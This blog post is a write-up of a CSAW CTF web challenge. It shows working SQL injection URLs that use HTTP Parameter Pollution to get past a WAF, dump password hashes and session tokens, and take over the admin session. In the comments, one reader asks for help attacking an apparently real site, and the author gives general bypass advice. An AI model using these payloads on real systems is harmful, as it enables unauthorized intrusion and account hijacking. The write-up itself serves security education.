Last week I was invited to join a team to participate in a CTF (Capture The Flag) contest organized by CSAW Team.
With my wife and kids around, I only had the opportunity to pick one challenge related to Web Exploitation named: "HorceForce" worth 300 points! Basically, you were provided with a low-privilege account and needed to find your way to get Administrator access.
So, there are multiple resources explaining how to exploit it, but definitely I want to share my experience.
After sending some single quotes it was easy to find a SQL Injection bug by getting the well known "MySQL SQL Error Message".
So, as you all know the first attempt was something like:
http://128.238.66.217/horse.php?id=7 or 1 IN (select current_user)
And I got I ERROR Message saying something like "PLEASE STOP trying to hack this blablablabla site".
Then after many techniques to bypass the filter I realized the WAF was configured to deny any string containing either "select" or "union", blindly I assumed the WAF's regular expression was something like:
/^.*select.*$/ or /^.*union.*$/
Which means, every string which even makes no sense from SQLi point of view like: blablaSELECTblabla or a bypass technique like: /*!union*/ , were triggering the Warning Message.
After some research I found the HTTP Pollution technique which basically allows the attacker (among other things) to play with the GET Parameters in order to confuse the WAF filter.
So, how it works?
Let's say you have the GET parameter "id", you can duplicate it (or even add it many times) and send something like:
?id=value1&id=value2
And, depending on the Framework used (PHP, Java, ASP.NET, etc) the parameters are going to be parsed differently, in our case with Apache/PHP, if you inject the same parameter multiple times, only the last one will be parsed by the Framework (see table below) but guess what? Only the first parameter is going to be analyzed by the WAF!
This means, by injecting: ?id=7&id=[SQLi]
WAF Network Layer parses id=7 <- Good to go!
PHP Application Layer parses id=
So, this is a typical example where you can inject something that is going to be treated differently at Network Layer and Application Layer.
Below is a table where you can find how other Frameworks react when receiving the same parameter multiple times. Like ASP.NET, if it receives two parameters, it will concatenate them, and therefore you can split the attack into those fields to bypass the WAF, which is out of scope of this blog.
So, then my next try was to inject something like:
128.238.66.217/horse.php?id=0&id=7%20union%20select%201,2,3,current_user
You can notice, all the injection is taking place in the second parameter, which is not being parsed by the WAF and voila!!! I got my first successful response:
csaw_chal1@localhost
After that, all is simple SQLi to enumerate tables:
128.238.66.217/horse.php?id=0&id=7%20union%20select%20table_name,2,3,4%20from%20information_schema.tables%20limit%201
horses
sessions
users
Then get fields from table users:
128.238.66.217/horse.php?id=0&id=7 union select 1,2,3,column_name from information_schema.columns where table_name='users' limit 200
Description: user_id
Description: username
Description: password
Description: name
Description: level
And then dump the username and password trying to identify the Administrator password:
Description: administrator
Pass: $2a$08$kF9H1vqa.fogHc2JwbFNweay.sgdksbiuB9f7MN5mNZgcG6y7BrFG
Description: michael_vick
Pass: $2a$08$B2fI59Zzph61LajSSgkoB.i0YJ9HH8wBobmExxqPxl/.0Zu3Tijm2
Description: csaw_challenger
Pass: $2a$08$zFI9j/fsHKKbV0UCiavNveEIIi./v8lsqiaKxTV3T3BkrBk4XvSEK
Description: beefsister33
$2a$08$AUAeUut7FjkdCMfQJUuJwulgnBLbbTc0F/njHbl3mn59IS6OyADbO
Description: nuclear_grandma
$2a$08$edsWdwf45DDC4Vb2VPiikOspNpr3ePS5VE7z3aYsuMEZyodbkHRDK
Description: teabag_swag
Pass: $2a$08$uN4sFJ73Quf/b5hC3GxXIO53ewJ0W71c2Vuh4f2x.pr3iTrChvNOK
But unfortunately, those passwords were encrypted, but if you remember, there was a table named "sessions", so let's dump its content:
128.238.66.217/horse.php?id=0&id=7%20union%20select%201,2,3,session%20from%20sessions%20limit%20200
Description: bsv30irdq0PCvJxJrCAxROcmdXaUiwgQtPeg5J75EYgrH8jyHQ
Description: hbpnEGKo2WeLvQuQL0kb8vyyOHMn96ZYAROXmBggB6Pdr0FX4p
Description: VnRu2Zcv7REYTgHOqafggyYn3hA3cq1D9B4u4IxEcnB0TgPT4j
Description: UkOAVJ4ZAuX1t0Hib4maJccftZVeC4TdCZ8WxhQJZKqQ9axbwc
Description: 4gNszBZeSDjjKE5sSJwIcPOzTvhM90IR9JrqPa286tLfiDNDyp
Description: hmmJU3LrcIO7yJ77aSOsL9YIEjKITkOLg1CE0HF6Cnsbv2J077
Description: SL2v2sJvyu7Xw5Lc5b8UBSNFGOFhMfFrCWsgNGZZBSBfazpTlX
Then, you just go to your browser, use an Add-on like "Cookies Manager" from Firefox and change your current session value with one of the ones found above and ..... we got the Admin session:
bsv30irdq0PCvJxJrCAxROcmdXaUiwgQtPeg5J75EYgrH8jyHQ
Which give us the precious key:
nice ... i have heard about HTTP Parameter Pollution but i didnt know that we can bypass the WAFs with that... good idea :) thanks for share the knowledge!
ReplyDeleteI'm curious if this was an intended way to solve this task, because my solution was different:
ReplyDelete128.238.66.217/horse.php?id=1+or+1=1/*aaaaaaaaaaaa[lots of]aaaaaaaaaaaaaa*/union+select+...
nope that was an error and they later fixed it
Deletethe fake WAF got tripped up by the =
i also solved it your way minus the long comment
Very interesting, thanks for sharing.
ReplyDeleteHi Razor, the creator of Web 300 had a bug in his WAF filter which was allowing everyone to easily inject SQLi successfully, and therefore he patched it by Saturday which makes it more difficult to exploit. The whole explanation of this, can be found here:
ReplyDeletehttp://isisblogs.poly.edu/2012/09/30/csaw-ctf-horseforce-writeup/
Unfortunately I played with this challenge after the WAF filter was patched :-(
Instead of using the cookies i would use a password update updating the encripted pwd of the admin user with my own.
ReplyDeleteHi Franklin, by changing the password, the Admin will realize his account has been hacked and will try to remove the SQLi bug to prevent more unauthorized access. But by stealing the cookie, you can always impersonate the Admin user even if he changes his password. What you can definitely do is to try to crack his password based on the encrypted one found but that would be an offline effort. My 2 cents.
ReplyDeleteDo you know of a table similar to the one you included which covers common WAFs? That way if you know the WAF and the platform/language then you just line up the rows to know how to bypass it.
ReplyDeleteNice post..
ReplyDeleteJUst wanted to kno, we can also change the request from any Interceptor too? instead of using any cookie manipulating addons?
Hi Digininja, no I do not know another table but I would recommend to develop custom scripts to test HPP Attacks based on each framework since WebInspect (at least) and possibly others do not perform this kind of test.
ReplyDeleteHi Shubham, definitely you can do it with any other interceptor like web proxies.
ReplyDeletewhich WAF was it? modern WAFs are resilient to HPP...
ReplyDeleteIt is not a modern WAF, and you are right, the modern ones should protect against HPP. Keep in mind this was a challenge from CSAW where the target audience are students, so the purpose is to teach how WAF and Web attacks works.
ReplyDeleteGood post
ReplyDeleteYou also can use HTTP Headers Pollution for web application firewall bypassing - in some cases, but mostly for bypassing security restriction measures of web server - https://c3ret.wordpress.com/2012/02/27/http-headers-pollution-server-output-pollution-2/
ReplyDeleteThanks for sharing c3ret, also if interested, Ivan Ristic (modsecurity author) just posted a fresh whitepaper of this topic:
ReplyDeleteProtocol-level evasion of web application firewalls
http://blog.ivanristic.com/2012/07/protocol-level-evasion-of-web-application-firewalls.html
Good post. Did you finger print the WAF? What was the vendor?
ReplyDeleteHey Bro I am tring to do the exact thing you described but nothing is happening........here is the link.
ReplyDeletehttp://www.cja.org/article.php?id=435
can you help me with this..........
Hi, unfortunately I cannot test the site mentioned, but as recommendation, the first step from your end is to fingerprint the WAF and focus your bypass techniques based on that. Since the application is a PHP one, you can duplicate the GET/POST/Cookies parameters as explained in this blog to try to bypass the filter but every Pentest has different security controls (IPS, WAF, etc) in place that you need to identify/play with. Hope this helps.
ReplyDeletewent through a lot of this, good post, also to add this is also referred as HTTP Parameter Contamination or HPC.
ReplyDeleteHeya¡my very first comment on your site. ,I have been reading your blog for a while and thought I would completely pop in and drop a friendly note. . It is great
ReplyDeletestuff indeed. I also wanted to ask..is there a way to subscribe to your site via email?
De Bypass
Wow! ver superb blog!.... and excellent colour theme..... I really useful our captchas WAF via HTTP Parameter information....
ReplyDeletecaptcha solver
superb.......................its so nice blog.......................................and very very informative........................
ReplyDeletecaptcha bypass service
wow!!!
ReplyDeletethe great blog.the technique of bypassing WAF via HTTP parameter is very useful.
thanks for sharing the info.
Kill Captcha
Wonderful blog... great theme and excellent captchas...
ReplyDeletecaptcha solver
very good guide to starting a blog on blogger!
ReplyDeleteextraordinary explanation ...
Thank you very much!
Really this is Very Wonderful blogs & greaat theme......Really Great job!......
decaptcha